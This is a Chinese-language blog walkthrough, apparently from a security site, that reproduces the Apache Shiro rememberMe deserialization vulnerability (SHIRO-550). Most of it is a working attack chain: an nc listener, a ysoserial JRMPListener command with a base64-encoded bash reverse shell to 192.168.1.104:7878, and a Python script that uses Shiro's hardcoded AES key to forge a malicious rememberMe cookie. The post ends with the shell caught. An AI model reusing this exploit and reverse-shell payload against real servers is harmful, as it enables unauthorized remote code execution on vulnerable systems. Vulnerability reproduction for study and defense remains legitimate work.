Shiro反序列化漏洞复现

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

官方漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550

Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,默认使用了CookieRememberMeManager字段,内容分别进行 序列化、AES加密、Base64编码操作。

在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,得知解密的顺序为:

得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

检测是否是shiro

在cookie参数后加上;rememberMe=1,如果返回包中含有Set-Cookie:rememberMe=deleteMe就是使用了shrio。

影响版本:Apache Shiro <= 1.2.4

image-20191022031754813

NC监听反弹 Shell

1
nc -lvp 7878

image-20191022032259457

制作反弹shell 代码

使用ysoserial中JRMP监听模块

https://github.com/frohoff/ysoserial

1
2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA0Lzc4NzggMD4mMQ==}|{base64,-d}|{bash,-i}'
#反弹 shell 需要进行java base64 编码)

image-20191022033207611

Payload 构造

前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie

  • shiro.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

使用生成 payload的ysoserial.jar文件和运行目录需处于同一目录下。

image-20191022031056175

将生成的payload通过BurpSuite进行替换发送。

image-20191022034213326

最终,可看到NC已经收到反弹过来的 shell 。

image-20191022034342119